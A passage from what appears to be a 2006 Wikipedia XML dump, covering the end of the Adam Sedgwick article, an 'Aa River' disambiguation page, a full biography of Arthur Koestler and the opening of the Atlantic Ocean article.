tribe living in the Welsh Borderlands at the time of the Romans. Sedgwick, who had been working in central Wales, proposed the existence of a separate system below the Silurian, which he named the [[Cambrian]] -- after Cambria, the Latin name for Wales. The two presented a joint paper in [[1835]], entitled &quot;On the Silurian and Cambrian Systems, exhibiting the order in which the older sedimentary strata succeed each other in England and Wales.&quot; 

Sedgwick's upper &quot;Cambrian&quot; overlapped with the lower part of Murchison's &quot;Silurian.&quot; Sedgwick had defined his &quot;Cambrian&quot; using physical characters of the rocks, which were unique to Wales, and had not relied extensively on fossils, which could be found everywhere. Murchison, who had used fossils extensively in defining the Silurian, claimed at first that the upper Cambrian, and then the entire Cambrian, were really parts of the Silurian. The resulting quarrel between the two men left them permanently estranged and took years to resolve. There was more than a simple matter of names involved. Both geologists wanted the honour of describing the rocks that recorded the beginning of life on Earth, for no fossils were known that were older than those of the Cambrian. Murchison felt that the fossils of Sedgwick's &quot;Cambrian&quot; were not different enough from his &quot;Silurian&quot; forms to merit the naming of a geologic time period, and it was some time before truly distinctive Cambrian fossils were documented. Today, following the solution worked out in 1879 by Sedgwick's colleague [[Charles Lapworth]], geologists use both time periods, with a third one -- the [[Ordovician]], also named for a Celtic tribe in Wales -- between the Cambrian and the Silurian, equivalent to the disputed &quot;upper Cambrian-lower Silurian&quot; beds. Each one of these is now known to be characterized by distinct fossil assemblages.

==Disagreement with Darwin==

For one summer of his work in Wales which was to lead to this controversy, Sedgwick made a fateful choice of field assistant: a young Cambridge graduate named [[Charles Darwin]]. Darwin had passed his examinations for the [[Bachelor of Arts]] degree in January 1831, and began attending Sedgwick's geology lectures, which he found fascinating. That summer, the two men explored the rocks of north Wales; Darwin got a &quot;crash course&quot; in field geology from Sedgwick, an experience that would stand him in good stead over the next five years, on the round-the-world voyage of [[HMS Beagle]]. During this voyage, Darwin sent rocks and fossils from [[South America]] back to Sedgwick, as well as descriptions of the geology of South America. These impressed Sedgwick, who wrote in a letter to Darwin's family: 

He is doing admirably in S. America &amp; has already sent home a Collection above all praise. -- It was the best thing in the world for him that he went out on the Voyage of Discovery... 
In November 1835, before Darwin had returned to England, Sedgwick read some of Darwin's work on South American geology to the Geological Society of London. This greatly improved Darwin's reputation as a scientist; he was inducted into the Society shortly after his return. The two stayed friends until Sedgwick's death, but Sedgwick was upset and disappointed by Darwin's theory of [[evolution]] by [[natural selection]]. After reading [[The Origin of Species]], Sedgwick candidly wrote to Darwin on [[November 24]], [[1859]]: 

&quot;If I did not think you a good tempered &amp; truth loving man I should not tell you that. . . I have read your book with more pain than pleasure. Parts of it I admired greatly; parts I laughed at till my sides were almost sore; other parts I read with absolute sorrow; because I think them utterly false &amp; grievously mischievous-- You have deserted-- after a start in that tram-road of all solid physical truth-- the true method of induction. . . &quot;

However despite this difference of opinion, the two men remained friendly until Sedgwick's death.

==Flawed opinions==

Sedgwick's own geological views were generally catastrophic -- he believed that the history of the [[Earth]] had been marked by a series of cataclysmic events which had destroyed much of the Earth's life. In this belief he followed Cuvier, and he was opposed to Charles Lyell's models of slow, gradual geological change and a more or less steady-state Earth. However, Sedgwick was interested in the possibility that at least some of the &quot;catastrophic&quot; changes implied by the rock record might be shown to be gradual. He originally followed his colleague [[William Buckland]] in believing that the uppermost [[Pleistocene]] deposits had been laid down by the Biblical Flood, but retracted this belief after many of these deposits turned out to have been formed by glaciers, not floods. Sedgwick also did not object to evolution, or &quot;development&quot; as such theories were called then, in the broad sense -- to the fact that the life on Earth had changed over time. Nor was he a young-Earth creationist; he believed that the Earth must be extremely old. As Darwin wrote of Sedgwick's lectures, &quot;What a capital hand is Sedgewick [sic] for drawing large cheques upon the Bank of Time!&quot; 

However, Sedgwick believed in the Divine creation of life over long periods of time, by &quot;a power I cannot imitate or comprehend -- but in which I believe, by a legitimate conclusion of sound reason drawn from the laws of harmonies of nature.&quot; What Sedgwick objected to was the apparent amoral and materialist nature of Darwin's proposed mechanism, natural selection, which he thought degrading to humanity's spiritual aspirations. His letter of November 24 went on to state: 

This view of nature you have stated admirably; tho' admitted by all naturalists &amp; denied by no one of common sense. We all admit development as a fact of history; but how came it about? Here, in language, &amp; still more in logic, we are point blank at issue-- There is a moral or metaphysical part of nature as well as a physical. A man who denies this is deep in the mire of folly. Tis the crown &amp; glory of organic science that it does thro' final cause, link material to moral. . . You have ignored this link; &amp;, if I do not mistake your meaning, you have done your best in one or two pregnant cases to break it. Were it possible (which thank God it is not) to break it, humanity in my mind, would suffer a damage that might brutalize it--&amp; sink the human race into a lower grade of degradation than any into which it has fallen since its written records tell us of its history.

==External links==

*[http://www.sedgwickmuseum.org/ Sedgwick Museum, Cambridge]
*[http://www.esc.cam.ac.uk/SedgwickClub/ Sedgwick Club, Cambridge]
*[http://www.esc.cam.ac.uk/ University of Cambridge Department of Earth Sciences]

[[Category:1785 births|Sedgwick, Adam]]
[[Category:1873 deaths|Sedgwick, Adam]]
[[Category:Alumni of Trinity College, Cambridge|Sedgwick, Adam]]
[[Category:British geologists|Sedgwick, Adam]]
[[Category:Fellows of the Royal Society|Sedgwick, Adam]]
[[Category:Natives of Cumbria|Sedgwick, Adam]]


[[de:Adam Sedgwick]]
[[fr:Adam Sedgwick]]</text>
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  </page>
  <page>
    <title>Aa River</title>
    <id>696</id>
    <revision>
      <id>41989325</id>
      <timestamp>2006-03-03T01:53:17Z</timestamp>
      <contributor>
        <username>Zhaladshar</username>
        <id>302064</id>
      </contributor>
      <comment>{{Wikisource1911Enc}} - EB1911 article refers to a collection of European rivers</comment>
      <text xml:space="preserve">{{Wikisource1911Enc|Aa}}
'''Aa River''' may refer to:
*The [[Aa River (France)]], in the north of France
*The [[Aabach (Greifensee)]] river in Switzerland
*The [[Aabach (Afte)]] river in Germany, a tributary of the Afte River
*The [[Lielupe]] river (called &quot;Kurländische Aa&quot; in German) in Latvia
*The [[Gauja]] river (called &quot;Livländische Aa&quot; in German) in Latvia

&lt;!--
* Aa is also an English noun, beloved of Scrabble players, meaning a [[stream]].
--&gt;

&lt;!--
*The [[Sarner Aa]] river in Switzerland
*The [[Engelberger Aa]] river in Switzerland
*The [[Westfälische Aa]] river in the Westphalia region of Germany
*The [[Münstersche Aa]] river in the Münster region of Germany
*The [[Great Aa]] (Große Aa) river in Germany
*in the [[Netherlands]] and [[Belgium]]:
**Aa, a river in [[Antwerp (province)|Antwerp]], and joining the [[Kleine Nete]] at [[Grobbendonk]].
**Drentse Aa, a small river in the [[Drenthe]] and [[Groningen (province)|Groningen]] provinces that also flows through [[Groningen (city)|Groningen]] city.
**Aa, a river in [[Noord-Brabant]], flowing through [[Helmond]] and [['s-Hertogenbosch]].
**Aa or Weerijs, also in [[Noord-Brabant]], a small river near [[Breda (Netherlands)|Breda]], rising at [[Wuustwezel]], Belgium, joint by the Kleine Aa, rising at [[Brecht]], Belgium.
**several small rivers and canals in [[Groningen (province)|Groningen]] province, such as Pekel Aa, Ruiten Aa, Mussel Aa. 
--&gt;

{{disambig}}
[[de:Liste der Gewässer mit Aa]]
[[et:Aa jõgi]]
[[fr:Aa (fleuve)]]
[[ga:Aa (abhainn)]]
[[nl:Aa (waternaam)]]
[[zh:阿河]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Koestler</title>
    <id>697</id>
    <revision>
      <id>41390660</id>
      <timestamp>2006-02-27T00:44:56Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Arthur Koestler.jpg|110px|thumb|Arthur Koestler]]
'''Arthur Koestler''' ([[September 5]], [[1905]], [[Budapest]] &amp;ndash; [[March 3]], [[1983]], [[London]]) was a [[Hungary|Hungarian]] [[polymath]] who became a naturalized [[United Kingdom|British]] subject. He wrote [[journalism]], [[novels]], social [[philosophy]], and books on scientific subjects. He was a [[Communism|Communist]] during much of the 1930s and remained politically active until the 1950s. He wrote a number of popular books, including ''Arrow in the Blue'' (the first volume of his autobiography), ''The Yogi and the Commissar'' (a collection of essays, many dealing with [[Communism]]), ''The Sleepwalkers'' (''A History of Man's Changing Vision of the Universe''), ''The Act of Creation'', and ''The Thirteenth Tribe'' giving a new theory of the origins of the Jews of Eastern Europe. His most famous work, the novel ''[[Darkness at Noon]]'' about the [[Soviet Union|Soviet]] [[Great Purge|purges]] of the 1930s, ranks with [[George Orwell]]'s ''[[Nineteen Eighty-Four]]'' as a fictional treatment of [[Stalinism]]. He also wrote ''[[Encyclopædia Britannica]]'' articles.&lt;!--Many number?? I know but one.--&gt;

== Life ==
He was born Kösztler Artur (Hungarians put the [[surname]] first) in [[Budapest]], [[Hungary]] to a [[German language|German-speaking]] Hungarian family of [[Ashkenazi Jews| Ashkenazi Jewish]] descent. His father, Henrik, was an [[industrialist]] and [[inventor]] whose business ideas revealed flawed judgement; for example, he invested for a while in the manufacture of a kind of [[radioactive]] soap. When Artur was 14, his family moved to [[Vienna]], [[Austria]]. In 1918, Hungary obtained its independence from Austria and flirted for a while with [[Bolshevism]].

Koestler studied [[science]] and [[psychology]] at the [[University of Vienna]], where he became involved in [[Zionism]]. After completing his studies, he worked as a [[news correspondent]]. From [[1926]] to [[1929]] he lived in the [[British Mandate of Palestine]], partly in a ''[[kibbutz]]''. He joined the [[Germany|German]] [[Communist Party]] in [[1931]], but left it after the [[Stalin]]ist purges of [[1938]]. During this period he traveled extensively in the [[Soviet Union]] and climbed [[Mount Ararat]] in [[Turkey]]. In [[Turkmenistan]], he met the black American writer [[Langston Hughes]]. In [[1931]], he was a member of a [[zeppelin]] expedition to the [[North Pole]].

In his memoir ''The Invisible Writing'', Koestler recalls that during the summer of [[1935]] he &quot;wrote about half of a satirical novel called ''[[The Good Soldier Švejk|The Good Soldier Schweik Goes to War Again....]]''. It had been commissioned by [[Willi Münzenberg|Willy Münzenberg]] &lt;nowiki&gt;[&lt;/nowiki&gt;the [[Comintern]]'s chief [[propagandist]] in the [[Western world|West]]] ... but was vetoed by the [[Communist Party of the Soviet Union|Party]] on the grounds of the book's 'pacifist errors'...&quot; (p. 283).

Soon after the outbreak of [[World War II]], the French authorities detained him for several months in a camp for resident aliens at Le Vernet in the foothills of the [[Pyrenees]] mountains. Upon his release, he joined the [[French Foreign Legion]]. He eventually escaped to [[England]] via Morocco and Portugal. In England, he served in the [[British Army]] as a member of the [[British Pioneer Corps]], 1941-42, then worked for the [[BBC]]. He became a [[British subject]] in [[1945]]. He returned to France after the war, where he rubbed shoulders with the set gravitating around [[Jean-Paul Sartre]] and [[Simone de Beauvoir]]. One of the characters in de Beauvoir's novel ''The Mandarins'' is believed based on Koestler.

He returned to [[London]] and spent the rest of his life writing and lecturing. He was made a [[Order of the British Empire|CBE]] in the [[1970s]]. In [[1983]], Koestler, suffering from [[Parkinson's disease]] and [[leukemia]], committed joint [[suicide]] by taking an overdose of drugs with his third wife Cynthia. He had long been an advocate of voluntary [[euthanasia]], and in [[1981]], had become vice-president of &quot;[[EXIT]]&quot;, a British group campaigning for it. His will endowed the chair of [[parapsychology]] at the [[University of Edinburgh]] in [[Scotland]].

===Multilingualism=== 
In addition to his mother tongue [[German language|German]], Koestler became fluent in [[Hungarian language|Hungarian]], [[English language|English]], and [[French language|French]], and knew some [[Hebrew language|Hebrew]] and [[Russian language|Russian]]. His biographer [[David Cesarani]] claims there is some evidence that Koestler may have picked up some [[Yiddish]] from his grandfather. Koestler's multilingualism was principally due to his having resided, worked, and/or studied in [[Hungary]], [[Austria]], [[Germany]], [[British Mandate of Palestine|Palestine]] (pre-independence [[Israel]]), the [[Soviet Union]], the [[United Kingdom]], and [[France]], all by 40 years of age.

Though he wrote the bulk of his later work in English, Koestler wrote his best-known novels in three different languages: ''The Gladiators'' in Hungarian, ''Darkness at Noon'' in German (although the original is now lost), and ''Arrival and Departure'' in English. His journalism was written in German, Hebrew, French and English. He claimed to have produced the first Hebrew language [[crossword]] puzzles.

===Women===
Koestler was married to Dorothy Asher (1935-50), Mamaine Paget (1950-52), and Cynthia Jefferies (1965-83). He also had a very short fling with the French writer [[Simone de Beauvoir]], one that may explain the mutual animosity between him and [[Jean-Paul Sartre]]. David Cesarani claimed that Koestler beat and raped several women, including [[film director]] [[Jill Craigie]]. The resulting protests led to the removal of a bust of Koestler from public display at the [[University of Edinburgh]].

Questions have also been raised by his [[suicide pact]] with his last spouse. Although he was [[Terminal illness|terminally ill]] at the time, she was apparently healthy, leading some to claim he wrongly persuaded her to take her own life.

==Mixed legacy==
Just as ''[[Darkness at Noon]]'' was selling well during the [[Cold War]] of the 40s and 50s, Koestler announced his retirement from [[politics]]. Much of what he wrote thereafter revealed a multidisciplinary thinker whose work anticipated a number of trends by many years. He was among the first to experiment with [[LSD]] (in a laboratory). He also wrote about [[Japan|Japanese]] and [[India|Indian]] mysticism in ''[[The Lotus and the Robot]]'' ([[1960]]). He did not merely arrive at different answers to accepted questions; rather, he tended to ask questions that no one else thought to ask.

This originality resulted in an uneven set of ideas and conclusions.  Some of them, such as his work on creativity (''Insight and Outlook, Act of Creation'') and the history of science (''The Sleepwalkers''), are arguably brilliant and challenge us to readjust our thinking. Some of his other pursuits, such as his interest in the [[paranormal]], his support for [[euthanasia]], his theory of the origin of [[Ashkenazi Jews]] like himself, and his disagreement with [[Darwinism]], are more controversial.

=== Politics ===
Koestler was involved in a number of political causes during his life, from [[Zionism]] and [[communism]] to [[anti-communism]], voluntary [[euthanasia]] and campaigns against [[capital punishment]], particularly [[hanging]]. He was also an early advocate of [[nuclear disarmament]].

=== Journalism ===
Until the bestseller status of ''[[Darkness at Noon]]'' made him financially comfortable, Koestler often earned his living as a journalist and foreign correspondent, trading on his ability to write quickly in several languages, and to acquire with facility a working knowledge of a new language. He wrote for a variety of newspapers, including ''Vossische Zeitung'' (science editor) and ''B.Z. am Mittag'' (foreign editor) in the 1920s. In the early 1930s, he worked for the Ullstein publishing group in [[Berlin]] and did freelance writing for the French press. 

While covering the [[Spanish Civil War]], in [[1937]], he was captured and held for several months by the [[Falange|Falangists]] in [[Málaga]], until the [[United Kingdom|British]] Foreign Office negotiated his release. His ''[[Spanish Testament]]'' records these experiences, which he soon transformed into his classic prison novel ''[[Darkness at Noon]]''. After his release from Spanish detention, Koestler worked for the ''News Chronicle'', then edited ''Die Zukunft'' with [[Willi Münzenberg]], an anti-Nazi, anti-Stalinist German language paper based in [[Paris]], founded in [[1938]]. During and after [[WWII]], he wrote for a number of English and American papers, including ''The Sunday Telegraph'', on various subjects.

===Science===
During the last 30 years of his life, Koestler wrote extensively on science and scientific practice. The [[Post-Modernism|post-modernist]] scepticism colouring much of this writing tended to alienate most of the scientific community. A case in point is his 1971 book ''The Case of the Midwife Toad'' about the biologist [[Paul Kammerer]], who claimed to find experimental support for [[Jean-Baptiste Lamarck|Lamarckian inheritance]].

[[Mysticism]] and a fascination with the [[paranormal]] imbued much of his later work, and greatly influenced his personal life. He left a substantial part of his estate to establish the Koestler Institute at the [[University of Edinburgh]] dedicated to the study of [[Parapsychology|paranormal]] phenomena. His ''The Roots of Coincidence'' centered on yet another line of unconventional research by Paul Kammerer, this time his claim of a quantum theory of coincidence or [[synchronicity]], a theory Koestler evaluated in light of the writings of [[Carl Jung]]. More controversial were Koestler's studies of [[levitation]] and [[telepathy]].

===Judaism===
Although a lifelong atheist, Koestler's ancestry was Jewish. His biographer [[David Cesarani]] has claimed that Koestler deliberately disowned his Jewish ancestry.

Koestler's book ''[[The Thirteenth Tribe]]'' advanced the controversial thesis that [[Ashkenazi]] Jews are not descended from the Israelites of antiquity, but from the [[Khazars]], a [[Turkic]] people in the [[Caucasus]] who converted to [[Judaism]] in the [[8th century]] and were later forced to move westwards into current [[Russia]], [[Ukraine]] and [[Poland]]. Koestler stated that part of his intent in writing ''The Thirteenth Tribe'' was to defuse [[anti-Semitism]] by undermining the identification of European Jews with Biblical Jews, with the hope of rendering anti-Semitic epithets such as &quot;Christ killer&quot; inapplicable. Ironically,  Koestler's thesis that Ashkenazi Jews are not Semitic has become an important claim of many anti-Semitic groups. Some [[Palestinian]]s have eagerly seized upon this thesis, believing that to identify most Jews as non-Semites seriously undermines their historical claim to the [[land of Israel]]. The thesis of ''The Thirteenth Tribe'' has since been criticized. To date, the genetic evidence has been inconclusive. Some researchers claim to find a Middle Eastern genetic element in virtually all Ashkenazim. Others note both Turkic words and Turkic genetic markers in these populations.  But the usefulness of genetic markers in determining ancestry can be problematic; for instance, Ashkenazim also display a high level of similarity to the genetic markers of [[Khoisan]] [[Bushmen]] in Southern Africa.  A thorough review of the scientific literature can be found at [http://www.khazaria.com/ Khazaria.com].

When Koestler resided in Palestine during the 1920s, he lived on a [[kibbutz]], an experience forming the basis of his unfinished ''Thieves in the Night''.  His view of [[Israel]] was that it would never be destroyed, short of a second [[Shoah]]. He supported the statehood of Israel, but opposed a diaspora Jewish culture. In an interview published in the ''London Jewish Chronicle'' around the time of Israel's founding, Koestler asserted that all Jews should either migrate to Israel, or assimilate completely into their local cultures. Koestler was also no dogmatic Zionist; for instance, he proposed that Israel drop the [[Hebrew alphabet]] for the [[Roman alphabet|Roman]].

== Cultural influence ==
In his younger days, the [[singer]] [[Sting (musician)|Sting]] was an avid reader of Koestler. His band of the time, [[The Police]] were to name one of their albums ''[[Ghost in the Machine]]'' after one of Koestler's books. The title ''[[Synchronicity (album)|Synchronicity]]'' was also inspired by Koestler's ''[[The Roots of Coincidence]]'', which mentions [[Carl Jung]]'s [[synchronicity|theory]] of the same name. Koestler knew little about the burgeoning [[New Wave music]] scene, and is alleged to have said:

&lt;blockquote&gt; Look at this. Did you ever see a magazine called the ''New Musical Express''? It turns out there is a pop group called [[The Police]] - I don't know why they are called that, presumably to distinguish them from the punks - and they've made an album of my essay ''The Ghost in the Machine''. I didn't know anything about it until my clipping agency sent me a review of the record. &lt;/blockquote&gt; 

The [[cyberpunk]] [[manga]] and [[anime]] series ''[[Ghost in the Shell]]'' was also inspired by Koestler's ''The Ghost in the Machine''.

== Bibliography ==
An excellent introduction to Koestler's writing and thought is the following anthology of passages from many of his books, described as &quot;A selection from 50 years of his writings, chosen and with new commentary by the author&quot;:
*1980. ''[[Bricks to Babel]]''. Random House, ISBN 0394518977


===Autobiography ===
*1952. ''[[Arrow in the Blue|Arrow In The Blue: The First Volume Of An Autobiography, 1905-31]]'', 2005 reprint, ISBN 0099490676
*1954. ''[[The Invisible Writing: The Second Volume Of An Autobiography, 1932-40]]'', 1984 reprint, ISBN 081286218X
*1937. ''[[Spanish Testament]]''.
*1941. ''[[Scum of the Earth (book)|Scum of the Earth]]''.
*1984. ''[[Stranger on the Square]]''.

The books ''The Lotus and the Robot'', ''The God that Failed'', and ''Von Weissen Nächten und Roten Tagen'', as well as his numerous essays, all contain autobiographical information.

===Biographies===
* Atkins, J., 1956. ''Arthur Koestler''.
* Buckard, Christian G., 2004. ''Arthur Koestler: Ein extremes Leben 1905-1983''. ISBN 3406521770.
* [[David Cesarani]], 1998. ''Arthur Koestler: The Homeless Mind''. ISBN 0684867206.
* Hamilton, Iain, 1982. ''Koestler: A Biography''. ISBN 0025476602.
* Koestler, Mamaine, 1985. ''Living with Koestler''. ISBN 0297785311 or ISBN 0312490291.
* Levene, M., 1984. ''Arthur Koestler''. ISBN 080446412X.
* Mikes, George, 1983. ''Arthur Koestler: The Story of a Friendship''. ISBN 0233976124.
* Pearson, S. A., 1978. ''Arthur Koestler''. ISBN 0805766995.

[[Langston Hughes]]'s autobiography also documents their meeting in [[Turkestan]] during the [[Soviet]] era.

=== Books by Koestler (excluding autobiography) ===
*1933. ''Von Weissen Nächten und Roten Tagen''. Very difficult to find. 
*1935. ''The Good Soldier Schweik Goes to War Again....'' Unfinished and unpublished.
*1937. ''L'Espagne ensanglantée''.
*1939. ''[[The Gladiators (book)|The Gladiators]]'', 1967 reprint, ISBN 0025653202. A novel on the revolt of [[Spartacus]].
*1940. ''[[Darkness at Noon]]'', ISBN 0099424916
*1942. ''[[Dialogue with Death]]''. Abridgement of ''Spanish Testament''.
*1943. ''[[Arrival and Departure]]'', novel. 1990 reprint, ISBN 0140181199
*1945. ''[[The Yogi and the Commissar]] and other essays''.
*1945. ''[[Twilight Bar]]''. Drama. 
*1946. ''[[Thieves in the Night (novel)]]''.
*1949. ''The Challenge of our Time''.
*1949. ''[[Promise and Fulfilment]]: Palestine 1917-1949''.
*1949. ''[[Insight and Outlook]]''.
*1955. ''[[The Trail of the Dinosaur]] and other essays''.
*1956. ''[[Reflections on Hanging]]''.
*1959. ''[[The Sleepwalkers]]: A History of Man's Changing Vision of the Universe''. ISBN 0140192468
*1960. ''The Watershed: A Biography of Johannes Kepler''. Based on ''The Sleepwalkers''. ISBN 0385095767
*1960. ''[[Lotus and the Robot]]'', ISBN 0090598911. Koestler's journey to India and Japan, and his assessment of East and West.
*1961. ''Control of the Mind''.
*1961. ''Hanged by the Neck''. Reuses some material from ''Reflections on Hanging''.
*1963. ''[[Suicide of a Nation]]''. 
*1964. ''[[The Act of Creation]]''.
*1967. ''[[The Ghost in the Machine]]''. Penquin reprint 1990: ISBN 0140191925.
*1968. ''[[Drinkers of Infinity]]: Essays 1955-1967''.
*1970. ''The Age of Longing'', ISBN 0091045207.
*1971. ''[[The Case of the Midwife Toad]]'', ISBN 0394718232. An account of [[Paul Kammerer]]'s research on [[Lamarckism|Lamarckian evolution]] and what he called &quot;serial coincidences&quot;.
*1972. ''[[The Roots of Coincidence]]'', ISBN 0394719344. Sequel to ''The Case of the Midwife Toad''.
*1972. ''[[The Call Girls (play)|The Call Girls]]: A Tragicomedy with a Prologue and Epilogue'' (play).
*1973. ''The Lion and the Ostrich''.
*1974. ''[[The Heel of Achilles (essays)|The Heel of Achilles]]: Essays 1968-1973'', ISBN 0394495969.
*1976. ''[[The Thirteenth Tribe]]: The Khazar Empire and Its Heritage'', ISBN 0394402847.
*1976. ''Astride the Two Cultures: Arthur Koestler at 70'', ISBN 0394400631.
*1977. ''Twentieth Century Views: A Collection of Critical Essays'', ISBN 0130492132.
*1978. ''[[Janus: A Summing Up]]'', ISBN 0394500520. Sequel to ''The Ghost in the Machine''
*1981. ''[[Kaleidoscope (Koestler)|Kaleidoscope]]''. Essays from ''Drinkers of Infinity'' and ''The Heel of Achilles'', plus later pieces and stories.

===Writings as a contributor===
*''Encyclopaedia of Sexual Knowledge'' (1935)
*''Foreign Correspondent'' (1939), 
*''The Practice of Sex'' (1940)
*''[[The God That Failed]]'' (1950) (collection of testimonies by ex-Communists)
*&quot;[[Attila, the poet]]&quot; (1954) (Encounter ; ; 1954.2 (5)). On loan at the UCL library of the School of Slavonic &amp; Eastern European Studies.
*[http://library.ucl.ac.uk:80/F/482FU6EL2H2D5M313X59FNURXIJEXB9DEH6UNIIMKH4BHVDSG1-00222?func=item-global&amp;doc_library=UCL01&amp;doc_number=000806339&amp;year=&amp;volume=&amp;sub_library=SSEES UCL library online]
*''Beyond Reductionism: The Alpbach Symposium. New Perspectives in the Life Sciences'' (co-editor with J.R. Smythies, 1969), ISBN 0807015350
*''[[The Challenge of Chance]]: A Mass Experiment in Telepathy and Its Unexpected Outcome'' (1973)
*''Life After Death'', (co-editor, 1976)
*''[[Humour]] and [[Wit]]. I'': [[Encyclopædia Britannica]]. 15th ed. vol. 9.([[1983]])
**&lt;small&gt;[http://www.britannica.com/eb/article?tocId=9106291 humour - Encyclopædia Britannica](by Arthur Koestler)&lt;/small&gt;

==Quotes==

&quot;Courage is never to let your actions be influenced by your fears.&quot;

&quot;Creative activity could be described as a type of learning process where teacher and pupil are located in the same individual.&quot;

&quot;Nothing is more sad than the death of an illusion.&quot;

&quot;Prometheus is reaching out for the stars with an empty grin on his face.&quot;

&quot;Scientists are peeping toms at the keyhole of eternity.&quot;

&quot;The more original a discovery, the more obvious it seems afterwards.&quot;

&quot;The most persistent sound which reverberates through man's history is the beating of war drums.&quot;

&quot;The principle mark of genius is not perfection but originality, the opening of new frontiers.&quot;

&quot;True creativity often starts where language ends.&quot;

== External links ==
{{wikiquote}}
*[http://moebius.psy.ed.ac.uk/ Koestler Parapsychology Unit] - Koestler and his third spouse left a large sum of money for research into parapsychology: this funded, amongst other things, the Koestler Parapsychology Unit at Edinburgh University 
*[http://koestlerarthur.fw.hu http://koestlerarthur.fw.hu]
*[http://www.draken.com/ahellas/koestler.html Arthur Koestler Project]


[[Category:1905 births|Koestler, Arthur]]
[[Category:1983 deaths|Koestler, Arthur]]
[[Category:Commanders of the British Empire|Koestler, Arthur]]
[[Category:Hungarian philosophers|Koestler, Arthur]]
[[Category:Hungarian novelists|Koestler, Arthur]]
[[Category:Hungarian writers|Koestler, Arthur]]
[[Category:Khazar studies|Koestler]]
[[Category:Writers who committed suicide|Koestler]]


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[[he:ארתור קסטלר]]
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  </page>
  <page>
    <title>Atlantic Ocean</title>
    <id>698</id>
    <revision>
      <id>41796941</id>
      <timestamp>2006-03-01T20:38:45Z</timestamp>
      <contributor>
        <username>Chcknwnm</username>
        <id>644872</id>
      </contributor>
      <comment>Reverted edits by [[Special:Contributions/209.209.193.99|209.209.193.99]] to last version by Cactus.man</comment>
      <text xml:space="preserve">{{redirect|Atlantic}}
{{Five oceans}}
The '''Atlantic Ocean''' is [[Earth]]'s second-largest [[ocean]], covering approximately one-fifth of its surface. The ocean's name, derived from [[Greek mythology]], means the &quot;[[Sea]] of [[Atlas (mythology)|Atlas]]&quot;.

This ocean occupies an elongated, S-shaped basin extending in a north-south direction and is divided into the North Atlantic and South Atlantic by [[Equatorial Counter Current|equatorial counter current]]s at about 8° north [[latitude]]. Bounded by the [[Americas]] on the west and [[Europe]] and [[Africa]] on the east, the Atlantic is linked to the [[Pacific Ocean]] by the [[Arctic Ocean]] on the north and the [[Drake Passage]] on the south. An artificial connection between the Atlantic and Pacific is also provided by the [[Panama Canal]].  On the east, the dividing line between the Atlantic and the [[Indian Ocean]] is the 20° east meridian, running south from [[Cape Agulhas]] to [[Antarctica]].  The Atlantic is separated from the [[Arctic Ocean]] by a line from [[Greenland]] to northwestern [[Iceland]] and then from northeastern Iceland to southernmost tip of [[Spitsbergen]] and then to [[North Cape, Norway|North Cape]] in northern [[Norway]].&lt;ref&gt;[http://ioc.unesco.org/oceanteacher/OceanTeacher2/01_GlobOcToday/03_GeopolOc/s23_1953.pdf ''Limits of Oceans and Seas''].  International Hydrographic Organization Special Publication No. 23, 1953.&lt;/ref&gt;

[[Image:Ireland-AtlanticOceanwithAranIsland.jpg|thumb|left|200px|The Atlantic Ocean as seen from the west coast of [[Ireland]] on a fair day.]]
Covering approximately 20% of Earth's surface, the Atlantic Ocean is second only to the Pacific in size. With its adjacent seas it occupies an area of about [[1 E14 m²|106,400,000]] [[square kilometre]]s (41,100,000 [[square mile]]s); without them, it has an area of [[1 E13 m²|82,400,000 square kilometres]] (31,800,000 sq mi). The land area that drains into the Atlantic is four times that of either the Pacific or Indian oceans. The volume of the Atlantic Ocean with its adjacent seas is [[1 E15 m³|354,700,000]] [[cubic kilometre]]s (85,100,000 [[cubic mile|cu mi]]) and without them 323,600,000 cubic kilometres (77,640,000 cu mi).

The average depths of the Atlantic, with its adjacent seas, is 3,332 [[metre]]s (10,932 [[foot (unit of length)|ft]]); without them it is 3,926 metres (12,881 ft).  The greatest depth, 8,605 metres (28,232 ft), is in the [[Puerto Rico Trench]]. The width of the Atlantic varies from [[1 E6 m|2,848]] [[kilometre]]s (1,770 [[mile|miles]]) between Brazil and [[Liberia]] to about [[1 E6 m|4,830 kilometes]] (3,000 mi) between the United States and northern Africa.

The Atlantic Ocean has irregular coasts indented by numerous bays, gulfs, and seas. These include the [[Caribbean Sea]], [[Gulf of Mexico]], [[Gulf of St. Lawrence]], [[Mediterranean Sea]], [[Black Sea]], [[North Sea]], [[Labrador Sea]], [[Baltic Sea]], and [[Norwegian Sea|Norwegian]]-[[Greenland Sea]]. Islands in the Atlantic Ocean include [[Faroe Islands]], [[Greenland]], [[Iceland]], [[Rockall]], [[Great Britain]], [[Ireland]], [[Fernando de Noronha]], the [[Azores]], the [[Madeira Islands]], the [[Canaries]], the [[Cape Verde]] Islands, [[Sao Tome e Principe]], [[Newfoundland]], [[Bermuda]], the [[West Indies]], [[Ascension Island|Ascension]], [[Saint Helena (Britain)|St. Helena]], [[Trindade Island|Trindade]], [[Martin Vaz]], [[Tristan da Cunha]], the [[Falkland Islands]], and [[South Georgia Island]].
[[Image:Atlantic_Ocean.png|right|Atlantic Ocean]]
==Ocean bottom==
The principal feature of the bottom [[topography]] of the Atlantic Ocean is a great submarine mountain range called the [[Mid-Atlantic Ridge]]. It extends from [[Iceland]] in the north to approximately 58° south latitude, reaching a maximum width of about 1,600 kilometres (1,000 mi). A great [[rift valley]] also extends along the ridge over most of its length. The depth of water over the ridge is less than 2,700 metres (8,900 ft) in most places, and several mountain peaks rise above the water, forming islands. The South Atlantic Ocean has an additional submarine ridge, the Walvis Ridge. 

The Mid-Atlantic Ridge separates the Atlantic Ocean into two large [[trough (geology)|trough]]s with depths averaging between 3,700 and 5,500 metres (12,000 and 18,000 ft). Transverse ridges running between the continents and the Mid-Atlantic Ridge divide the ocean floor into numerous basins. Some of the larger basins are the Guiana, North American, Cape Verde, and Canaries basins in the North Atlantic. The largest South Atlantic basins are the Angola, Cape, Argentina, and Brazil basins.

The deep ocean floor is thought to be fairly flat, although numerous [[seamount]]s and some [[guyot]]s exist. Several deeps or trenches are also found on the ocean floor. The Puerto Rico Trench, in the North Atlantic, is the deepest. The [[Laurentian Abyss]] is found off the eastern coast of Canada. In the south Atlantic, the [[South Sandwich Trench]] reaches a depth of 8,428 metres (27,651 ft). A third major trench, the [[Romanche Trench]], is located near the equator and reaches a depth of about 7,454 metres (24,455 ft). The shelves along the margins of the continents constitute about 11% of the bottom topography. In addition, a number of deep channels cut across the continental rise.

